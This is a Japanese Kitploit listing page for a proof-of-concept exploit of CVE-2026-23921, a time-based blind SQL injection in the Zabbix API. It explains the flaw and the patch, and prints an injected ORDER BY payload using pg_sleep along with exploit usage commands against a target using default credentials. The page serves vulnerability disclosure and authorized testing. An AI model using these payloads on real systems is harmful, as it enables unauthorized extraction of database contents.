Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23921 — CVE-2026-23921の概念実証エクスプロイト。Zabbix APIのsortfieldパラメータを介した時間ベースのブラインドSQLインジェクションで、PostgreSQLおよびMySQLバックエンドからのデータ抽出を可能にします。 | Kitploit
ツール/GitHubGitHub/qucklecrabik/cve-2026-23921
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストデータベースセキュリティ
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

CVE-2026-23921の概念実証エクスプロイト。Zabbix APIのsortfieldパラメータを介した時間ベースのブラインドSQLインジェクションで、PostgreSQLおよびMySQLバックエンドからのデータ抽出を可能にします。

リポジトリを見る
43426日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-23921 — Zabbix 時間ベースのブラインド SQL インジェクション

影響を受けるバージョン: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 高
種類: sortfield パラメータを介した時間ベースのブラインド SQL インジェクション
認証要否: 要(任意の API ユーザー。Super Admin は権限結合を回避する)

脆弱性

レガシーな Zabbix API サービス(host.get、trigger.get、item.get など)は、zbx_array_merge() を通じて宣言されていない groupBy パラメータを受け付けます。CApiService::applyQuerySortOptions() では、groupBy 配列が sortfield の検証に使用されるハードコードされたホワイトリストを置き換えます。攻撃者は同じ SQL ペイロードを groupBy と sortfield の両方に渡します — 検証は攻撃者が制御するリストに対して通過し、ペイロードはエスケープされずに ORDER BY に到達します。

攻撃フロー

  1. 攻撃者は groupBy: ["hostid,(SELECT IF(...))--"] と sortfield: "hostid,(SELECT IF(...))--" を countOutput: true とともに送信する
  2. zbx_array_merge が宣言されていない groupBy キーを保持する
  3. applyQuerySortOptions が groupBy からホワイトリストを構築する → 検証が通過する
  4. applyQuerySortField がペイロードを ORDER BY に連結する
  5. createSelectQueryFromParts がエスケープせずに最終的な SQL を構築する

生成される SQL(PostgreSQL)

SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

使用方法

# PostgreSQL バックエンド(デフォルト)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# MySQL バックエンド
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# 既存の認証トークン
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# 任意の式を抽出
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# 別の API メソッドを使用
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

修正

Zabbix 7.0.22 / 7.2.15 / 7.4.6 以降にアップグレードしてください。

このパッチは array_merge($options['groupBy'], ...) を array_intersect($this->sortColumns, $options['groupBy']) に置き換え、攻撃者が提供した値がホワイトリストに入らないようにします。多層防御として、追加の is_string() および is_array() 型チェックが追加されました。

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムに対してのみ使用してください。

ツールをダウンロード